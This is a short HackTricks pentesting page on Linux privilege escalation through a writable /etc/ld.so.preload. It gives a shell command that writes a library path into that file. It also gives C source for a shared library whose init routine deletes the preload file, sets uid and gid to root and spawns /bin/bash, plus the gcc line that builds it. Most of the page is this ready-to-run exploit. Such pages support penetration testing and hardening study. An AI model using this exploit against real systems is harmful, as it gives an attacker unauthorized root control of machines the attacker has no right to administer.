hacktricks/linux-hardening/privilege-escalation/write-to-root.md

Write to Root

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/etc/ld.so.preload

This file behaves like LD_PRELOAD env variable but it also works in SUID binaries.
If you can create it or modify it, you can just add a path to a library that will be loaded with each executed binary.

For example: echo "/tmp/pe.so" > /etc/ld.so.preload

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unlink("/etc/ld.so.preload");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles

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